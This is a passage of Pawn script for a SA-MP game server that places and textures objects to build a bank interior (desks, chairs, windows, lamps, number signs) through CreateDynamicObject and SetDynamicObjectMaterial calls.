        AG_Bank[129] = CreateDynamicObject(2229, 1405.75085, 1312.00000, 1503.64990,   -90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[289] =CreateDynamicObject(19381, 1407.78735, 1320.18164, 1508.83557,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[290] =CreateDynamicObject(19381, 1403.50000, 1320.17957, 1508.83557,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[291] =CreateDynamicObject(19381, 1407.78735, 1312.68164, 1508.83557,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[292] =CreateDynamicObject(19381, 1402.28735, 1312.67957, 1508.83557,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[110], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[111], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[112], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[113], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[114], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[115], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[116], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[117], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[118], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[119], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[120], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[121], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[122], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[123], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[124], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[125], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[126], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[127], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[128], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[129], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[289], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[290], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[291], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[292], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);

        AG_Bank[131] = CreateDynamicObject(19325, 1397.83984, 1321.96497, 1502.02559,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[132] = CreateDynamicObject(19325, 1394.29175, 1315.86646, 1502.02559,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[131], 0,  -1, "none", "none", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank[132], 0,  -1, "none", "none", 0xFF9FF5FF);

        AG_Bank[139] = CreateDynamicObject(19089, 1397.84375, 1318.63489, 1504.28833,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[140] = CreateDynamicObject(19089, 1397.84375, 1323.85596, 1504.28833,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[141] = CreateDynamicObject(19089, 1397.59705, 1315.86560, 1504.28833,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[142] = CreateDynamicObject(19089, 1397.84351, 1318.63013, 1503.52209,   90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[143] = CreateDynamicObject(19089, 1397.84351, 1318.63013, 1500.09875,   90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[144] = CreateDynamicObject(19089, 1397.60461, 1315.86804, 1500.09875,   90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[145] = CreateDynamicObject(19089, 1397.60461, 1315.86804, 1503.52686,   90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[146] = CreateDynamicObject(19089, 1397.93835, 1315.87024, 1504.15405,   55.50000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[139], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[140], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[141], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[142], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[143], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[144], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[145], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[146], 0, 10226, "sfeship1", "CJ_WOOD5", 0);

        CreateDynamicObject(19325, 1412.60974, 1320.78882, 1501.28259,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(19325, 1412.60669, 1310.53210, 1501.28259,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(19325, 1412.59338, 1315.85974, 1505.95728,   90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);

        AG_Bank[148] = CreateDynamicObject(968, 1412.63416, 1324.49341, 1500.86975,   0.00000, 90.00000, -90.00000, 25, 63, -1, 200.00);
        AG_Bank[149] = CreateDynamicObject(968, 1412.63416, 1324.49341, 1501.20581,   0.00000, 90.00000, -90.00000, 25, 63, -1, 200.00);
        AG_Bank[150] = CreateDynamicObject(968, 1412.63416, 1324.49341, 1501.54175,   0.00000, 90.00000, -90.00000, 25, 63, -1, 200.00);
        AG_Bank[151] = CreateDynamicObject(968, 1412.64001, 1306.87244, 1500.86975,   0.00000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[152] = CreateDynamicObject(968, 1412.64001, 1306.87244, 1501.20581,   0.00000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[153] = CreateDynamicObject(968, 1412.64001, 1306.87244, 1501.54175,   0.00000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[148], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank[149], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank[150], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank[151], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank[152], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank[153], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);

        CreateDynamicObject(2166, 1397.08081, 1328.00000, 1500.08655,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2166, 1397.08081, 1322.37927, 1500.08655,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1714, 1396.09290, 1328.61316, 1500.08862,   0.00000, 0.00000, 24.96000, 25, 63, -1, 200.00);
        CreateDynamicObject(1714, 1396.09241, 1322.87146, 1500.08862,   0.00000, 0.00000, 24.96000, 25, 63, -1, 200.00);
        CreateDynamicObject(1714, 1401.31909, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 25, 63, -1, 200.00);
        CreateDynamicObject(1714, 1403.20508, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 25, 63, -1, 200.00);
        CreateDynamicObject(1714, 1409.60828, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 25, 63, -1, 200.00);
        CreateDynamicObject(1714, 1407.73083, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 25, 63, -1, 200.00);
        CreateDynamicObject(2164, 1396.26099, 1324.76672, 1500.08643,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2161, 1404.46484, 1323.85510, 1500.08643,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2163, 1405.80005, 1323.85510, 1500.08643,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2186, 1392.36316, 1324.45142, 1500.08704,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2164, 1391.93518, 1328.08655, 1500.08643,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2163, 1391.92871, 1326.30945, 1500.08643,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2162, 1391.92871, 1321.50000, 1500.08643,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1808, 1392.10205, 1323.00684, 1500.08728,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);

        CreateDynamicObject(1721, 1397.36389, 1319.75916, 1500.08728,   0.00000, 0.00000, 15.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1721, 1395.88953, 1319.73755, 1500.08728,   0.00000, 0.00000, -15.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1721, 1397.22388, 1325.33923, 1500.08728,   0.00000, 0.00000, 15.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1721, 1395.82947, 1325.41748, 1500.08728,   0.00000, 0.00000, -15.00000, 25, 63, -1, 200.00);

        AG_Bank[137] = CreateDynamicObject(19373, 1396.93469, 1324.87634, 1500.18811,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[137], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFBCE4FA);

        CreateDynamicObject(2194, 1395.78455, 1321.13220, 1501.12170,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2194, 1395.78345, 1326.69922, 1501.12170,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2194, 1392.17676, 1327.23853, 1501.24304,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2854, 1405.64832, 1320.77136, 1500.92175,   0.00000, 0.00000, 7.20000, 25, 63, -1, 200.00);

        AG_Bank[156] = CreateDynamicObject(19373, 1396.18518, 1320.51880, 1500.00476,   0.00000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[157] = CreateDynamicObject(19373, 1396.18518, 1324.01563, 1500.00684,   0.00000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[158] = CreateDynamicObject(19373, 1396.18518, 1327.51367, 1500.00476,   0.00000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[159] = CreateDynamicObject(19378, 1405.14807, 1325.69373, 1500.00598,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[156], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);
        SetDynamicObjectMaterial( AG_Bank[157], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);
        SetDynamicObjectMaterial( AG_Bank[158], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);
        SetDynamicObjectMaterial( AG_Bank[159], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);

        AG_Bank[160] = CreateDynamicObject(2725, 1404.53479, 1320.82739, 1500.48645,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[161] = CreateDynamicObject(2725, 1405.69995, 1320.82739, 1500.48645,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[160], 0, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank[161], 0, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank[160], 1, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank[161], 1, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank[160], 2, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank[161], 2, 1223, "dynsigns", "white64", 0xFF737373);

        AG_Bank[162] = CreateDynamicObject(2203, 1405.07104, 1320.58838, 1500.24365,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[162], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank[163] = CreateDynamicObject(14834, 1405.05615, 1320.58911, 1500.12891,   0.00000, 0.00000, -45.54000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[163], 2, 1223, "dynsigns", "white64", 0x00737373);

        AG_Bank[164] = CreateDynamicObject(630, 1406.33606, 1315.95398, 1501.10229,   0.00000, 0.00000, -42.90000, 25, 63, -1, 200.00);
        AG_Bank[165] = CreateDynamicObject(630, 1404.50464, 1316.00122, 1501.10229,   0.00000, 0.00000, -144.24001, 25, 63, -1, 200.00);
        AG_Bank[166] = CreateDynamicObject(631, 1406.14978, 1311.41174, 1500.97607,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[167] = CreateDynamicObject(631, 1399.52966, 1311.48853, 1500.97607,   0.00000, 0.00000, -11.52000, 25, 63, -1, 200.00);
        AG_Bank[168] = CreateDynamicObject(630, 1392.94385, 1316.80518, 1501.10229,   0.00000, 0.00000, -267.53995);
        SetDynamicObjectMaterial( AG_Bank[164], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[165], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[166], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[167], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[168], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank[133] = CreateDynamicObject(19089, 1397.06567, 1321.33374, 1509.6312,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[134] = CreateDynamicObject(19089, 1396.46777, 1510.35718, 1510.35718,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[135] = CreateDynamicObject(19089, 1395.84766, 1321.33374, 1510.10522,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[136] = CreateDynamicObject(19089, 1396.43567, 1321.33374, 1510.35718,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[138] = CreateDynamicObject(19089, 1397.06567, 1326.98840, 1509.6312,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[155] = CreateDynamicObject(19089, 1396.43567, 1326.98840, 1510.35718,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[169] = CreateDynamicObject(19089, 1395.84766, 1326.98840, 1510.10522,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);

        SetDynamicObjectMaterial( AG_Bank[133], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[134], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[135], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[136], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[138], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[155], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[169], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank[170] = CreateDynamicObject(2114, 1397.05713, 1326.99194, 1502.3715,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[171] = CreateDynamicObject(2114, 1396.43005, 1326.99194, 1502.84351,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[172] = CreateDynamicObject(2114, 1395.84399, 1326.99194, 1502.59058,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[173] = CreateDynamicObject(2114, 1397.05713, 1321.33521, 1502.3715,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[174] = CreateDynamicObject(2114, 1396.43005, 1321.33521, 1502.84351,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[175] = CreateDynamicObject(2114, 1395.84399, 1321.33521, 1502.59058,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[170], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[171], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[172], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[173], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[174], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[175], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);

        AG_Bank[176] = CreateDynamicObject(2268, 1395.40137, 1326.93201, 1501.21692,   0.00000, 90.00000, 330.00000, 25, 63, -1, 200.00);
        AG_Bank[177] = CreateDynamicObject(2040, 1395.87854, 1327.09436, 1500.79565,   0.00000, 0.00000, 60.00000, 25, 63, -1, 200.00);
        AG_Bank[178] = CreateDynamicObject(2752, 1395.86145, 1327.09924, 1500.87744,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[179] = CreateDynamicObject(2752, 1395.75903, 1327.19727, 1501.18384,   90.00000, 0.00000, 60.00000, 25, 63, -1, 200.00);
        AG_Bank[180] = CreateDynamicObject(2752, 1395.86145, 1321.44519, 1500.87744,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[181] = CreateDynamicObject(2752, 1395.75903, 1321.54333, 1501.18384,   90.00000, 0.00000, 60.00000, 25, 63, -1, 200.00);
        AG_Bank[182] = CreateDynamicObject(2268, 1395.40137, 1321.27795, 1501.21692,   0.00000, 90.00000, 330.00000, 25, 63, -1, 200.00);
        AG_Bank[183] = CreateDynamicObject(2040, 1395.87854, 1321.44043, 1500.79565,   0.00000, 0.00000, 60.00000, 25, 63, -1, 200.00);
        AG_Bank[184] = CreateDynamicObject(2040, 1400.77417, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 25, 63, -1, 200.00);
        AG_Bank[185] = CreateDynamicObject(2752, 1400.74866, 1321.15808, 1500.81006,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[186] = CreateDynamicObject(2752, 1400.91565, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 25, 63, -1, 200.00);
        AG_Bank[187] = CreateDynamicObject(2268, 1400.34375, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 25, 63, -1, 200.00);
        AG_Bank[188] = CreateDynamicObject(2040, 1408.89722, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 25, 63, -1, 200.00);
        AG_Bank[189] = CreateDynamicObject(2752, 1402.54468, 1321.13416, 1500.81006,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[190] = CreateDynamicObject(2752, 1409.03857, 1321.15808, 1501.12720,   0.00000, 90.00000, 165.00000, 25, 63, -1, 200.00);
        AG_Bank[191] = CreateDynamicObject(2268, 1408.46680, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 25, 63, -1, 200.00);
        AG_Bank[192] = CreateDynamicObject(2040, 1406.97424, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 25, 63, -1, 200.00);
        AG_Bank[193] = CreateDynamicObject(2752, 1406.94873, 1321.15808, 1500.81006,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[194] = CreateDynamicObject(2752, 1407.11560, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 25, 63, -1, 200.00);
        AG_Bank[195] = CreateDynamicObject(2268, 1406.54382, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 25, 63, -1, 200.00);
        AG_Bank[196] = CreateDynamicObject(2040, 1402.56226, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 25, 63, -1, 200.00);
        AG_Bank[197] = CreateDynamicObject(2752, 1408.8756, 1321.1407, 1500.8101,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[198] = CreateDynamicObject(2752, 1402.70361, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 25, 63, -1, 200.00);
        AG_Bank[199] = CreateDynamicObject(2268, 1402.13184, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[176], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[177], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[178], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[179], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[180], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[181], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[182], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[183], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[184], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[185], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[186], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[187], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[188], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[189], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[190], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[191], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[192], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[193], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[194], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[195], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[196], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[197], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[198], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[199], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[176], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[182], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[187], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[191], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[195], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[199], 1, 1223, "dynsigns", "white64", 0xFF000000);

        AG_Bank[200] = CreateDynamicObject(2268, 1396.46143, 1327.44128, 1501.21692,   0.00000, 90.00000, 150.00000, 25, 63, -1, 200.00);
        AG_Bank[201] = CreateDynamicObject(2268, 1396.46143, 1321.78735, 1501.21692,   0.00000, 90.00000, 150.00000, 25, 63, -1, 200.00);
        AG_Bank[202] = CreateDynamicObject(2268, 1401.23767, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 25, 63, -1, 200.00);
        AG_Bank[203] = CreateDynamicObject(2268, 1403.02576, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 25, 63, -1, 200.00);
        AG_Bank[204] = CreateDynamicObject(2268, 1409.36072, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 25, 63, -1, 200.00);
        AG_Bank[205] = CreateDynamicObject(2268, 1407.43774, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[200], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[201], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[202], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[203], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[204], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[205], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[200], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[201], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[202], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[203], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[204], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[205], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);

        AG_Bank[206] = CreateDynamicObject(19327,1404.632,1320.701,1500.546,0.000,0.000,0.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[206], 0, "2",  120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank[207] = CreateDynamicObject(19327,1409.574,1312.207,1500.585,-90.000,133.699,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[207], 0, "(",  120, "Ariel", 130, 0, -4397830, 0, 0);
        AG_Bank[208] = CreateDynamicObject(19327,1402.776,1320.697,1500.545,0.000,0.000,0.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[208], 0, "1", 120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank[209] = CreateDynamicObject(19327,1408.976,1320.654,1500.546,0.000,0.000,0.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[209], 0, "3",  120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank[210] = CreateDynamicObject(19327,1410.887,1320.659,1500.558,0.000,0.000,0.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[210], 0, "4",  120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank[211] = CreateDynamicObject(19327,1402.328,1312.014,1500.584,-90.000,38.800,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[211], 0, "(",  120, "Ariel", 130, 0, -4397830, 0, 0);
